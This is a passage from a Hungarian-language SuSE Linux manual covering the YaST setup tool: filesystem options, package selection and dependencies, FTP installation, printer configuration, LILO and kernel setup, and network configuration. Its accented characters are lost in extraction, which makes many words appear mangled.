kisebbek a blokkok, akkor tbb a blokkok szma s ezrt tovbb tart az ellen rzs. Egy nagyon hossz o fjlellen rzs igazn kellemetlen lehet, ez fgg a sajt becslsnkt l, hogy o o 94

3.3. A telepts belltsa milyen gyakran fogjuk ellen rizni a fjlrendszernket s mennyi id t tudunk o o elviselni. A javasolt blokk mret 1 GB-os partciig 1024 (= 1 kB), 4 GB-os partcikhoz emeljk meg 4096 (= 4 kB) -ra. Hatrozzunk meg egy terletet, amit a root-nak tartunk fenn. A root-nak mindig fenn kell tartanunk egy terletet, ha a partcikat mindkett hasznlja, a rendszer programok s a rendes felhasznlk. Egy kln o /home partci azt jelenti, hogy nem kell flretenni helyet a root-nak. A fjlrendszer ellen rzse kzbeni viselkeds hiba esetn el re meghato o rozhat. Ha hiba fordul el a fjlrendszerben, a m velet folytatdhat noro u mlisan (continue), a partcit jra lehet csatolni, mint csak olvashatt (remount-ro), vagy az egsz rendszer azonnal megllthat (panic). Az opci amit vlasztunk az attl fgg, hogy mire hasznljuk a rendszernket. Csak az alaprtelmezettet continue kell megvltoztanunk, ha valban tudjuk, hogy mit csinlunk! Partcik formattlsa Az F6 billenty vel kivlaszthatjuk, vajon formattljuk-e s hogyan, a partu cikat. Teljesen j lemezeknl nem szksges a rossz szektorok ellen rzse o formattls alatt; de a biztonsg kedvrt ezt is vlaszthatjuk. A formattls s ellen rzsi opci vlasztsa jval tovbb tart, mint csak formattlni egy o partcit. Az fstab fjl olvassa Az fstab fjl megmondja a Linuxnak, hogy melyik fjlrendszert hov csatolja be amikor betlti azt. Ha mr van Linux teleptve a merevlemeznkre, megnyomhatjuk az F7 billenty t a mr ltez fstab fjl beolvassra. Az u o fstab-ban a csatolsi pontok listja automatikusan tartalmazza a merevlemeznkn ltez nem-swap partcikat. Az fstab fjlban a ms tpus fjlo rendszerek bejegyzsei (swap, proc, nfs-mount, CD-ROM bejegyzsek, stb.,) szrkn jelennek meg, s nem vltoztathatk meg. Azok vltozatlanok maradnak, amikor elmentjk az fstab fjlt. versions Ez a lehet sg akkor szksges amikor frisstjk az egsz alaprendszert (lsd o a 15.1.3 . fejezetben (420. oldal)) ; ebben az esetben a YaST -nak tudnia kell, hogy fjlrendszernk s a partciink hogyan vannak felosztva. Lehetsges tbb Linux rendszert is teleptennk a gpnkre. 3.3.11 A Logikai ktet kezel (Volume Manager) belltsa o

A hivatalos LVM-Howto megtallhat a: http://linux.msede.com/lvm/ cmen. 3.3.12 Telepts egy knyvtrba

A YaST -tal teljes teleptst is vgezhetnk egy megadott knyvtrba is, fut rendszer all. gy lehetsges pldul frissteni egy msik gpet NFS-en keresztl gy, hogy "chroot krnyezetet (environment)" lltunk be, vagy teleptst hajtunk vgre egy msodik merevlemezre a fut rendszerr l. o 95

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz Ezt a teleptsi mdot csak specilis esetekre szntk. Ha bizonyos eszkz be van csatolva a meghatrozott knyvtrba, neknk magunknak kell kezelnnk ezt, miel tt teleptennk ezen a mdon. o Klnsen biztostani kell magunkat, hogy a teleptett rendszer indthat legyen. Az jonnan teleptet rendszerben valszn szksges lesz a YaST ltal u ltrehozott fstab fjl mdostsa. Most rjuk be a beviteli mez be, hogy melyik knyvtrba akarunk telepteni. o

3.4

A teleptsi mret meghatrozsa

Miutn befejeztk a fjlrendszernk belltst, megkezdhetjk a teleptend o csomagok kivlasztst. A f menb l vlasszuk a Csomagok vlaszo o tsa teleptsre opcit. Tisztban kell lennnk azzal, hogy a teleptsi eljrs alatt, a fjlrendszer belltsnak befejezse utn, a YaST automatikusan el hozza ezt a ment; nem kell neknk ezt a menopcit a f meo o nb l kivlasztani. A men lista ami megjelenik, kevs lehet sget nyjt a o o csomagok kezelsre, belertve a betltst, elmentst s egy teleptsi prol ltrehozst.

3.12 bra: YaST A teleptsi mret meghatrozsa Tovbbiakban, ebb l a menb l tudjuk elindtani a teleptst, vagy megnzo o hetjk, hogy a kivlasztott csomagok teleptse utn mennyi elrhet hely o marad a merevlemeznkn. 3.4.1 Kongurci betltse

Szmos el re meghatrozott kongurci van felsorolva a Konfiguro ci betltse alatt. Brmelyiket vlaszthatjuk a nyl billenty k haszu nlatval, s mozoghatunk egy el re meghatrozott "kongurci"-hoz; o a Szkz kivlaszthatunk vagy levehetnk egy ttelt a vlasztottak list-el jrl. Tbbek kztt van ott egy "Minimum rendszer" nevezet . Ezt kell vu lasztanunk, ha a YaST -ot hajlkony lemezr l futtatjuk s igen kevs RAMo unk van. A miniml rendszer vlasztsa nem akadlyoz meg minket, hogy 96

3.4. A teleptsi mret meghatrozsa csomagokat adjunk hozz, ha az mr teleptve van. A merevlemezre val telepts utn a YaST sokkal jobb teljestmnyt nyjt. Ha ltrehoztuk s elmentettk a sajt kongurcinkat (csomagok listja), hasznlhatjuk ezt a menopcit a kongurcink betltsre. Ez a lehet sg o hasznos, ha azonos kongurcikat teleptnk sok rendszerrre. Ha mr van egy teleptett rendszernk, nagyon vatosnak kell lennnk amikor betltnk egy msik kongurcit, mivel minden csomag trlsre lesz kijellve, ami a rendszernkre van teleptve, s nem tartozik a kivlasztott kongurciba. Ha meg akarjuk tartani a mr teleptett csomagokat, csupn vlaszoljunk Nem-mel amikor a YaST megkrdez minket, hogy trlni akarjuk-e oket, vagy nem. Ha trlni akarjuk az sszes csomagot (kivve egy prat), akkor kzzel kell levennnk azokat, amiket nem kvnunk trlni. A trls visszavonshoz, vltoztassuk a [D]-t vissza egy [i]-re a Szkz lenyomsval. 3.4.2 Kongurci mentse

Ezzel a menopcival elmenthetjk a jelenlegi kongurcinkat. Ha a YaST hajlkony lemezr l fut, azt fogja hasznlni a kongurcink elmentsre. Ha o CD-ROM-rl indtottunk, a telept felkr bennnket, hogy tegynk be egy o el re formattlt hajlkonylemezt. A YaST arra fogja elmenteni a konguro cinkat. 3.4.3 Kongurcink megvltoztatsa

Ha a Konfigurci ksztse/vltoztatsa menpontot vlasztjuk, egy listt fogunk kapni (lsd a 3.13 brt) a kszletekr l. Ezek a o kszletek logikai csoportostsok vagy kategrik, amiket a disztribucin lv o sszes csomag csoportostsra hasznlunk. Eldnthetjk mely csomagokat teleptjk, s vlaszthatunk a korbbi teleptsb l eltvoltand csomagokat. o Megvltoztathatjuk brmelyik ltez kongurcit (lsd a 3.4.1 ). o

3.13 bra: Csomag kszletek kivlasztsa a YaST -ban 97

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz A kszletek listjban mozoghatunk le s fel a Page s , , Page billenty kkel. Az ablak als rszben rendszernk klnbz partciinak jeu o lenlegi llapotrl tallhatunk lerst. A billenty megnyitja az aktulis u kszletet s megmutatja annak tartalmt. Az Esc billenty vel kilphetnk u a csomag kivlasztsbl anlkl, hogy elmentennk brmilyen vltozst. Ha vltoztattunk a csomagvlasztkon, az F10 billenty vel menthetjk el a vlu tozsokat s visszatrnk az el z menhz. o o

3.14 bra: Csomagok jrarendezse a YaST -ban Az F4 billenty t hasznlhatjuk a csomagok alternatv megjelentsnek kiu vlasztshoz (lsd a 3.14 brt). Mdunk van vlasztani a Series (kszletek, ami az alaprelmezett) vagy az All packages (sszes csomag) megjelentse kztt. Ez utbbi egy abc szerint rendezett listt hoz ltre az sszes csomagrl, ami a disztribciban tallhat. Ezt megtehetjk az All packages vlasztsval s a kvetkez ablakban, az All packages o (exclude sources) vlasztsval. Ha megnyomjuk a egy kszleten a csomag vlaszts mdba kerlnk -t (lsd a 3.15 brt, az a kszlet tartalmt mutatja). Ha egy ksz kongurcit tltttnk be, azok csomagok, amik ehhez a kongurcihoz tartoznak X-szel lesznek bejellve. Az ablak als rszn lthatjuk az aktulis csomag rvid lerst. Az ablak jobb oldali rszben lthatjuk jelenlegi kongurcink helyszksglett. Ezek az rtkek frisslnek ahogy vlasztunk/levlasztunk csomagokat. Az llapot ablakokat nagytani lehet az F3 s F2 billenty kkel kln-kln. u Ha most teleptjk a rendszernket els alkalommal s kiderl, hogy a jeo lenlegi partcionls nem nyjt elg helyet a csomagoknak, amiket telepteni akarunk, visszamehetnk a telepts elejre s ltrehozhatjuk a szksges partcikat. Ha megprblunk hozzadni csomagokat a meglv rendszernkhz o s kiderl, hogy nincs elg hely, ms megoldst kell tallnunk (pl. egy msik merevlemezt hozzadni esetleg eltvoltani nhny nem kvnatos csomagot). Minden csomagnevet megel z egy llapotjelz : o o [ ] jelzi, hogy a csomag jelenleg nincs teleptve 98

3.4. A teleptsi mret meghatrozsa

3.15 bra: Csomagok kivlasztsa teleptsre: a1 kszlet, alap rendszer [X] jelzi, hogy a csomag teleptsre lett kijellve [i] jelzi, hogy a csomag jelenleg teleptve van [D] jelzi, hogy a csomag trlsre lett kijellve [R] jelzi, hogy a csomag frisstsre kerl Az lenyomsval megvltoztathatjuk csomagok llapott. Ha a a csomag mg nincs teleptve, lenyomva az megvltozik az llapota -t [ ]-rl [X]-re s jra vissza. Ha a csomag mr teleptve van, az lenyomsa kapcsolja az llapotot [i], [R] s [D] kztt. Az F6 hatsra a kapcsold forrscsomag is teleptsre kerl; informcik a forrs csomagokrl lsd a 15.3.3 . fejezetben (434. oldal). Amint emltettk korbban, ha el akarjuk menteni a vltoztatsainkat, amit a csomag kivlasztsokon vgeztnk, hasznljuk az F10 billenty t. Ha nem akarunk elmenteni semmi u vltozst, hasznljuk az Esc billenty t. u Ha esetleg kifogyunk a partcinkon lv helyb l, knnyedn visszavlthao o tunk a f menbe s jrapartcionlhatjuk a merevlemeznket. A tnyleges o partcionlsra csak azutn kerl sor, ahogy elhagytuk a YaST -ot. Ha a YaST hajlkonylemezr l fut, csak egy a minimlis rendszert teleptsnk. o A minimlis teleptsnek befejezse utn, trjnk vissza s teleptsk a htralv csomagokat. A fentebb lert YaST kpessgeivel megvan az sszes o szksges eszkznk, hogy leteszteljk a klnbz elkpzelt kongurcio kat s azok merevlemez szksgleteit. 3.4.4 Mi lesz ha...

Ezt a menttelt azrt hoztk ltre, hogy lehet sgnk legyen tnzni az o sszes vltozst, amit egy kongurciban tettnk, miel tt meger stennk o o azokat. Mivel a YaST hasznlhat teleptsre, csomagok eltvoltsra s lecserlsre (frisstsre), s mivel olyan sok csomag van a disztribciban, ez az opci hasznos lehet annak leellen rzsre, hogy nem vletlenl jelltnk-e o meg csomagokat trlsre s/vagy teleptsre. 99

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz 3.4.5 A Telepts megkezdse

Ez a menopci elindtja a csomagok teleptst s eltvoltst. Minden csomag amit kijelltnk teleptsre, tmsolsra kerl a teleptsi mdiumrl, s kicsomagoldik a merevlemez megfelel terletre. A trlsre kijellt o csomagok eltvoltsa is ekkor trtnik meg. Ha megvltoztattuk a partcis tblt ebben a YaST rszben, a telepts mg nem lehetsges. A partcis tblk megvltoztatsa utn, a gpnket jra kell indtanunk, hogy felrjuk a mdostott partcis adatokat a partcis tblra. Ezt csak a YaST elhagysa utn tudjuk megtenni. Telepts kzben llapotzenetek jelennek meg az als ablakban. A fels o ablak a jelenleg teleptend csomagrl informl minket. o Telepts utn, ha akarjuk, visszaugorhatunk a teleptsi napl ablakhoz a Tab billenty megnyomsval. Itt lthatjuk az zeneteket, amik telepts u kzben jelentek meg a csomagokrl. 3.4.6 Csomagfgg sgek ellen rzse o o

A YaST hasznlhat a csomag fgg sgnek ellen rzsre. Nhny csomag o o fgg ms csomagok jelenltt l, de ennek az ellentte is igaz. Nhny csoo magot nem szabad telepteni ms csomagokkal egytt. A YaST ellen rizni o fogja a teleptsre kijellt csomagokat a rendszerben mr teleptett csomagokkal egytt. A YaST gyelembe fogja venni a trlsre kijellt csomagokat. Az sszes fel nem oldott fgg sg csomagot egy listban megjelenti. o u A Boolean logika lersa, amit a fgg sgek meghatrozsra s ellen rzo o sre hasznlnak, az albbiakban lthat.

AND

OR EXCL

e csomag teleptse csak az sszes kilistzott csomag egyidej u teleptsvel lehetsges. Pldul, ha a compiler-t teleptjk, szksgnk lesz az include s a lib fjlokra is. ez a csomag, csak a jelzett csomagok egyiknek egyidej telepu tsvel lehetsges. ez a csomag nem telepthet a jelzett csomagokkal egytt. o 3.1 tblzat: Csomagfgg sgek o

3.4.7

Az sszes kszlet s csomag tartalomjegyzke

Ez az opci egyszer en egy listt nyjt az sszes csomagrl, amit a disztribu ci tartalmaz. Azok a csomagok, amik *-gal vannak jellve, mr teleptve vannak, vagy ki vannak jellve teleptsre. Ez az opci gyors ttekintst ad a teleptsi vlasztsunkrl. 3.4.8 Csomagok keresse

Abban az esetben, ha nem tallunk egy csomagot, de tudjuk hogy benne van a SuSE Linux disztribciban, hasznlhatjuk a Csomag Informci 100

3.4. A teleptsi mret meghatrozsa menopcit, hogy megtalljuk azt. Kereshetnk a teleptsi mdiumon, az egsz rendszeren, vagy mindkett n. Mg kis s nagybet rzkeny keressi o u opci is van. A YaST megkeresi a szveget, amit a keressi mez ben megao dunk s a vonatkoz csomagok listjt megjelenti neknk. 3.4.9 Csomagok teleptse

A Csomagok teleptse menopci hasznos az olyan csomagok teleptsre, amik nincsenek a disztribciban. Ez a menopci hasznlhat csomagok frisstsre kzvetlenl a SuSE FTP kiszolglrl (ftp.suse. com), akkor ha van valamilyen formban Internet elrsnk. A csomagok az FTP kiszolgln tipikusan hibajavtottak s jabb verzik. A Csomagok teleptse menopci hasznlhat csomagok teleptsre kzvetlenl a merevlemeznkr l, egy lemezr l, vagy ms forrs mdiumrl is. Ilyen o o csomagokba belertjk, de nem csak erre korltozdnak, csomagok amiket egy alternatv helyr l kaptunk, csomagok amiket magunk hoztunk ltre, vagy o egyszer en olyan csomagok, amiket a SuSE FTP kiszolglrl tltttnk le, u s meg riztnk a merevlemeznkn. Egy pr formtum tmogatva van: tar o archvum (.tgz), RPM csomagok (.rpm, .spm s .src.rpm) ugyangy, mint a specilis folt (patch) csomagok (.pat), ezek elrhet k ha szksgesek o a SuSE FTP kiszolglrl. A teleptsi eljrs hrom lpsre oszlik (nyomjuk meg az a rszletes F1 -et utastsokrt): Teleptsi mdium kivlasztsa Felajnlott csomagok kivlasztsa Csomagok teleptse El szr vlasszuk ki a csomag mdiumot, belpve a Forrs:-ba s o nyomjunk Elrhet k az albbi opcik: Knyvtr, FTP, -t. o Forrs mdium s Floppy. Esetleg meg kell vltoztanunk az alaprtelmezett tvonalat (ha a Knyvtr-at vagy az FTP-t vlasztottuk). A YaST ssze fog ktni a forrs mdiummal, amikor lenyomjuk a Ez -t. utn, biztostva, hogy megfelel knyvtrat vlasztottunk, egy listt fogunk o kapni a teleptend csomagokrl. FTP-vel lehet kzvetlenl az Internetr l o o is telepteni. A cm ftp.suse.com:/pub/suse/i386/update/7.1 (lsd a 3.16 brt). Mg nem lehetsges csomagokat telepteni "proxy"-n keresztl; a megfelel ftp kiszolglhoz, kzvetlen elrsre van szksgnk. o Ha egy olyan hibazenetet kapunk hogy "530 User ftp access denied", az azt jelenti, hogy tl sokan vannak bejelentkezve a kiszolglra. Prbljuk meg ks bb jra. o El szr, keressk meg azt a knyvtrat, ahol azok az rpm csomagok vannak, o amiket telepteni akarunk. Ezutn a Szkz kivlaszthatjuk a csomago-zel kat teleptsre. Amikor a csomagokat mr kivlasztottuk teleptsre, nyom juk meg az F10 billenty t, hogy teleptsk azokat. A csomagok el szr a u o /tmp/ftp<processID> knyvtrba kerlnek s utna lesznek teleptve. Ha valami nem sikerl, kzzel azt mg mindig telepthetjk. (lsd a 15.3.1 . fejezetben (431. oldal)) 101

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

3.16 bra: Csomagok teleptse FTP-n keresztl a YaST -ban 3.4.10 Csomagok trlse

A Csomagok trlse vlaszts, egy listt fog adni a jelenleg teleptett csomagokrl. Ez a lista tartalmazza az "idegen" csomagokat is azokat a csomagokat, amelyek nem tartoznak a SuSE disztribciba. A YaST nem tudja frissteni ezeket a csomagokat, s nem tudja ellen rizni a fgg sgeiket o o sem, hacsak azok nem RPM formtumbl lettek teleptve. A legegyszer bb, ha lecserljk ezeket a csomagokat a SuSE disztribciban u lv csomagokkal. Csak vlasszuk ki a csomagokat, amiket le kell cserlo nnk. Ha megnyomjuk az egy rvid lers jelenik meg a csomagokrl, F2 -t, de csak ha az adott csomag tartalmaz lersi informcit. Nyomjuk meg a Szkz hogy kivlasszunk egy csomagot trlsre, s az -t, F10 trljk -el azt. Ezutn visszatelepthetjk azokat a csomagokat a SuSE CD-kr l. o

3.5

A rendszer frisstse

Csak a Rendszer frisstse men ttelt kell hasznlnunk, ha az alaprendszernk meglehet sen friss ami a forrs mdiumhoz megfelel . Ha o o itt ktsg van, a YaST meg fogja mondani flrerthetetlen mdon. Megkezdhetjk a rendszer frisstst, amint azt a 15 . fejezetben (419. oldal) lertuk; egyni csomagok frissthet k a YaST -tal, amint azt a 3.4.9 elmagyarztuk. o

3.6

Rendszeradminisztrci

A teleptshez nyjtott segtsgen tlmen en, a YaST igen hatkony eszkz o a rendszeradminisztrls vgrehajtshoz. A YaST -ban a f menb l (lsd a 3.1 . fejezetben (84. oldal)) kivlaszthato o juk a Rendszer adminisztrls menopcit, hogy elrjk a YaST rendszeradminisztrlsi lehet sgt (lsd a 3.17 brt). o 102

3.6. Rendszeradminisztrci

3.17 bra: Rendszernk adminisztrlsa 3.6.1 Hardver integrlsa a rendszerbe

Ezzel az opcival meghatrozhatjuk a hardvert, amit hasznlunk. A legtbb esetben a YaST ltre fog hozni egy szimblikus linket (Link) a szabvny eszkzr l a mi sajtos hardver eszkznkre. Ez megknnyti neknk a hozo zfrst ehhez az eszkzhz, anlkl, hogy emlkeznnk az eszkz pontos nevre.

3.18 bra: Hardver kongurls Egerek, CD-ROM-ok, lapolvask s hlzati krtyk belltsa meglehet sen o knny , csak kvessk a ment ;-) . u A nyomtat belltsa egy kicsit bonyolultabb. Ezt a kvetkez rszben tro gyaljuk. 103

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz A nyomtat belltsa Egy nyomtatt Linux alatt elrni, nem cseklysg; a technikai httert a 12 . fejezetben (351. oldal) rjuk le rszletesen. Szerencsre itt van az apslter, ami automatikusan tudja rzkelni egyenknt a fjl tpusokat, talaktja azt, ahogy az szksges, s kldi a nyomtatra. A PostScript fontos szerepet jtszik a Linux alatti nyomtatsban, mint minden UNIX rendszerben. Postscript fjlt kinyomtatni egy PostScript nyomtatn knny . Habr, mivel ezek a nyomtatk drgk, a legtbb felhasznlnak u nincs ilyen. A Ghostscript (gs) programot hasznljuk a PostScript dokumentumok talaktsra olyan formtumra, amit egy nem-PostSript nyomtat is ki tud nyomtatni. Az apslter programot hasznljuk az ASCII fjlok talaktsra PostScriptre, amit kzvetlen ki lehet nyomtatni egy PostScript nyomtatn, vagy ha szksges mgegyszer talaktani a Ghostscript-tel egy olyan formtumra, amit a nyomtatnk mr ki tud nyomtatni. Az apslter belltsa A YaST interfszt nyjt az apslter knny belltsra a nyomtatnkhoz u (lsd a 3.19 brt):

3.19 bra: Az apslter belltsa a YaST -tal Ha egy sznes nyomtatt hasznlunk, gy z djnk meg rla, hogy azt jelltk o o meg a nyomtat belltsi kperny n. A Nyomtat tpusa menopo ciban megjellhetjk, hogy nyomtatnk PostScript kezelsre alkalmas-e. A Nyomtat neve alatti menopci egy listt hoz el a Ghostscript o ltal tmogatott nyomtatkrl. Kivlaszthatjuk a listrl nyomtatnkat. Ha nyomtatnk nem lthat a listn, vlaszthatjuk a Ms nyomtatk-at s a <Felhasznl definilta (userdefined)> opcit. Egy ablakot kapunk, ahol megadhatjuk nyomtatnk tpust. A gs -h parancs megjelenti a nyomtatk listjt, amelyeket a jelenleg teleptett Ghostscript verzi tmogat. Ha nyomtatnk megjelenik azon a listn, megadhatjuk azt, mint a <Felhasznl definilta (userdefined)> 104

3.6. Rendszeradminisztrci nyomtat tpust. Az uniprint meghajtk belltst legjobban a SETUP (lprsetup) programmal vgezhetjk el. Ez a program az apslter csomag rsze. Krem nzzk meg a 12.3 . fejezetben (359. oldal) a tovbbi informcikat. Abban az esetben, ha nyomtatnk nincs a listn, megprblhatunk hasonl tpust hasznlni. Pldul, ha egy HP Laserjet 5L-nk van, kivlaszthatjuk a HP Laserjet 4-et a listrl. A Papr mret opcionlis, de gy z djnk o o meg rla, hogy a helyes mretet vlasztottuk. Az USA-ban a Letter-t kell vlasztanunk; Eurpban, az A4 a szabvny. Abban az esetben, ha a nyomtatnk egy soros interfsz-hez kapcsoldik, megadhatjuk a baud rtket is. A legtbb norml nyomtat a prhuzamos porthoz (nyomtat port) csatlakozik s neknk kell jeleznnk, hogy melyiket hasznljuk. Felttelezve, hogy a 2.2.xx verzij kernelt hasznljuk, az els prhuzamos port a /dev/lp0. o Ha van egy msodik prhuzamos portunk, s a nyomtat (vagy a msodik nyomtat) hasznlja azt, akkor az a /dev/lp1-en keresztl rhet el. A o /dev/lp2 eszkz egy prhuzamos portra utal, ami pl. egy Hercules grakus krtyn tallhat. (Egszen a 2.0.x kernelekig, a prhuzamos portra a /dev/lp1 utalt.) Ktsg esetn, el szr lltsuk be az albbi rtkeket a BIOS-ban a prhuo zamos portra: IO cm 378 (hexadecimlis) interrupt 7 as mode: norml (vagy SPP) s kapcsoljuk ki a DMA-t (alapesetben kikapcsoltnak kell lennie)

Ezek a norml szabvny rtkek. A Felbonts dpi-ban menopcit ellen riznnk kell. Ha nem vao gyunk biztosak benne, meg kell nznnk a nyomtat dokumentcijban. 3.6.2 Kernel s az Indts (Boot) belltsa

Ezt az almen kszletet hasznlhatjuk a rendszerindtsunk belltsra valamint arra, hogy milyen kernelt akarunk hasznlni: Indt kernel kivlasztsa Az Indt kernel kivlasztsa menopcival telepthetjk az egyik, el re sszelltott (a SuSE-CD-r l) elrhet kernelt, abban az esetben, o o o ha egy msik kernelt akarunk, mint amit a telepts alatt hasznltunk. Az ltalunk kivlasztott kernel teleptsn tlmen en, a YaST be fogja msolni o a kernel belltsi fjlt (.config) a kernel forrs knyvtrba (/usr/src/linux). Vlasszuk ki a gpnknek megfelel kernelt. Utna az a szably, hogy a o LILO -t jra kell teleptennk, a YaST -ot hasznlva, ha mr sikeresen indtottunk a LILO -val. Klnben lsd lejjebb, az tmutatst a LILO belltsrl. Halad Linux felhasznlk taln fontolgatnak egy sajt kernel jrafordtst o (recompiling) (lsd a 13 . fejezetben (375. oldal)). Egy el nye az jraford105

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

3.20 bra: Kernel s rendszerindts kongurlsa tott kernelnek, hogy az egyniesthet , pontosan a hardver belltsunkhoz o igaztva, s ezltal a kernel kisebb s gyorsabb lesz. Ha jak vagyunk a Linux-ban, nagyon javasoljuk, hogy az el re fordtott szabvny kerneleket o hasznljuk. Csak ha szabvny kernelt hasznlunk, akkor vagyunk jogosultak "Teleptsi tmogatsra". Ms szval, egy jrafordtott sajt kernel mr nem jogost minket semmilyen "Teleptsi tmogatsra". Rescue (biztonsgi) lemez ksztse Egy "ment " vagy "Rescue lemez" jl jhet abban az esetben, ha a gpnk o nem akar elindulni egyltaln lsd a 16.6 . fejezetben (451. oldal) a rszleteket, pl. hogyan hasznljuk ezt a oppy lemezt. A LILO kongurlsa A YaST a LILO (Linux Loader) belltshoz is segtsget nyjt. A LILO hasznlhat ms opercis rendszerek indtsra is, mint pl. OS/2, DOS vagy Windows 95/98, de a Windows NT-vel mr vatosnak kell lennnk. Tovbbi informci az egyedi belltsi opcikrl elrhet a 4 . fejezetben o (119. oldal). A hardver paramterek sor rendszerint res marad, hacsak mr nem kellett hozzadnunk paramtereket indtsra; csak ebben az esetben kell megadnunk ezeket a paramtereket itt (de csak a linux nlkli kernel nevet!). Rszletek a 4.4.2 . fejezetben (127. oldal) tallhatk. Hov akarja telepteni a LILO-t?: Ha a Linux az egyetlen opercis rendszer a gpnkn, akkor a Master boot record a megfelel vlasz erre. Ha egy "msik" boot managert hasznlunk, akkor o az indt (boot) szektornak a /boot partcijt kell vlasztanunk . Ha nem hoztunk ltre /boot partcit, akkor a root partci boot-szektort vlasszuk. 106

3.6. Rendszeradminisztrci

3.21 bra: LILO : Telepts A Floppy lemezre lehet sg magrt beszl. E vlasztsok technikai o httere a 22 . fejezetben (123. oldal) lthat. A vrakozs indtskor mp: 10 msodperc rtket indokolt hasznlni. "linear" Opci: A legtbb esetben ez az opci nem szksges. Tovbbi informcikrt nzzk meg a 4.4.2 . fejezetben (127. oldal) lertakat. Az F4=j konfig menopcit hasznlhatjuk, hogy "j kongurcit" hozzunk ltre. Javasolt, hogy kongurcis nvnek hasznljuk a szabvny kongurci linux-ot. Egy meglv kongurci szerkesztsre, hasznlo juk az F5=Konfig. szerk menopcit. Amikor ezeket a billenty u ket hasznljuk, a YaST megjelent neknk egy kongurcis kperny t, mint o az a 3.22 brn lthat. Az egyedi opcikat ezen a kperny n az albbiakban o rjuk le: Konfigurci neve: Vlaszthatjuk, ha akarjuk a linux-ot, egy j nvknt az els kongurcinkhoz. o Indul opercis rendszer: Hrom vlasztsi lehet sgnk o van: Linux indtsa, DOS indtsa - ez az opci j Windows 95/98ra is s OS/2 indtsa. (root-) partci indtshoz: Ez a rszlet el re denilt. Az a o szably, hogy nem kell itt semmit vltoztanunk. Nyomjuk meg az F3-at s vlasszuk ki a megfelel partcit. o opcionlis kernel : Csak akkor vlasszuk ezt az opcit, ha a kernel nem llandan rhet el. Ezt akkor kell vlasztanunk, ha csak egy alkao lommal akarunk tesztelni egy kernelt. A Lilo ltal indtott kernel: itt szintn, semmit nem kell vltoztatni. A szoksos helye a SuSE Linux-ban a /boot/vmlinuz; az F3 lenyomsval bngszhetjk a knyvtrakat s kivlaszthatjuk a megfelel kernelt. o 107

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

3.22 bra: LILO : Rendszerindt kongurci A Folyat-tal a LILO teleptsre kerlt, a Megszakt-tal megllthatjuk a LILO teleptst. Ha egy sajt kernel fordtst tervezzk, javasoljuk, hogy ksztsnk msodik kongurcit a LILO -ban. Egy biztonsgi ments a clja ennek az j kongurcinak, arra az esetre, ha az jonnan fordtott kernel nem indt. Hozzunk ltre egy j kongurcit s hvjuk azt old-nak, s kongurljuk azt, hogy hasznlja a /boot/vmlinuz.old kernelt. Be kell msolnunk a jelenlegi/boot/vmlinuz kernelt a /boot/vmlinuz.old-ba. Ha kongurljuk ezt az opcit, be kell kapcsolnunk az opcionlis kernel opcit. Most, abban az esetben, ha egy jonnan fordtott kernel (lsd a 13 . fejezetben (375. oldal)) valamilyen furcsa oknl fogva nem indt, mg mindig megvan a mdja, hogy az eredeti kernelnket indtsuk. 3.6.3 Hlzat kongurlsa

Az ltalnos hlzati kongurlst a YaST -tal ugyancsak elvgezhetjk (lsd a 3.23 brt). Mg ha nem is vagyunk hlzathoz csatlakoztatva, j tlet belltanunk hlzatunkat. Sok program fgg egy jl belltott hlzattl, hogy megfelel en tudjon m kdni. o u Hlzati alapkonfigurls Ez az ahol bellthatjuk az IPCm(ek)et a megfelel hlzati interfsznek (hlzati krtya, PPP, vagy o ISDN, stb.) (lsd a 3.24 brt); lsd a 153 oldalt, ahol az sszes ilyen fogalmat elmagyarzunk. Itt kivlaszthatunk szolgltatsokat DHCP vagy BOOTP az F3=AutoIP -n keresztl, hogy egy automatikus IP kongurlst hasznljunk. Host nv megvltoztatsa A gpnk host s domn neve llthat itt be. Ha nem vagyunk ismer sek a host vagy domn nv fogalmako kal, akkor nzzk meg a 153. 108

3.6. Rendszeradminisztrci

3.23 bra: Hlzat kongurlsa

3.24 bra: Hlzati alapkongurls Hlzati szolgltatsok konfigurlsa Ezzel az opcival kongurlhatjuk a hlzati alapszolgltatsokat, mint pl.: inetd (a telnet-hez, ftp-hez, nyomtatshoz stb.) portmap (az NFS kiszolglhoz s a NIS-hez) s rpc.nfsd (az NFS kiszolglhoz). Nvkiszolgl konfigurlsa Lehetsges egy vagy tbb nvkiszolgl meghatrozsa is. (lsd a 89 . fejezetben (467. oldal) a tovbbi informcikat). YP gyfl konfigurlsa Ez az opci csak akkor lesz aktv, ha teleptettk az ypclient csomagot az n kszletb l. Lsd a 5.4 o . fejezetben (168. oldal) s a 89 . fejezetben (469. oldal) tovbbi informcikrt. DHCP Kliens Ez az opci csak akkor lesz aktv, ha a dhclient csomagot az n kszletb l felteleptettk. o 109

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz Sendmail konfigurlsa Ezzel az opcival telepteni lehet egy kongurcis fjlt a sendmail -hez. Tbb kongurcis fjl elrhet , vao lamelyik ltalban megfelel a szksgletnek. Tvoli nyomtatk adminisztrlsa Ezzel az opcival bellthatjuk a gpnket, hogy kpes legyen elrni egy nyomtatt, ami a TCP/IP hlzaton van. A belltsi opcik ezen kperny n viszonylagoo san magtl rtet d ek. A Nyomtat neve arra a nvre utal, amio o vel a helyi gp utal a nyomtatra (egy j vlaszts lenne a remote). A Gyjt knyvtr (Spool directory) automatikusan belltsra kerl a fent megadott nv alapjn. A Szerver neve egy IP cm vagy a nyomtat kiszolgl neve. A Nyomtat neve az a nv amivel a nyomtat kiszolgl hivatkozik a nyomtatra (legtbb esetben ez lp). Ha szksgnk van egy el sz r re (prelter) ehhez a nyomtathoz, akkor o uo nzzk meg a 12.4 . fejezetben (363. oldal). Sambn t csatlakoz nyomtat Ez az opci csak akkor lesz aktv, ha a samba csomag az n kszletb l mr teleptve van. Ezzel o a men ttellel lehetsges csatlakoztatni egy Windows gphez csatlakoz nyomtatt. Novell hlzaton t csatlakoz nyomtat Ez az opci csak akkor lesz aktv, ha az ncpfs csomag az n kszletb l teleo ptve van. ISDN paramterek konfigurlsa Ez az opci csak akkor lesz aktv, ha az i4l csomag az n kszletb l teleptve van. Kvessk o a rszletes menket, amik elrhet k (lsd a 6.2 . fejezetben (175. oldal)) o tovbbi tisztzs 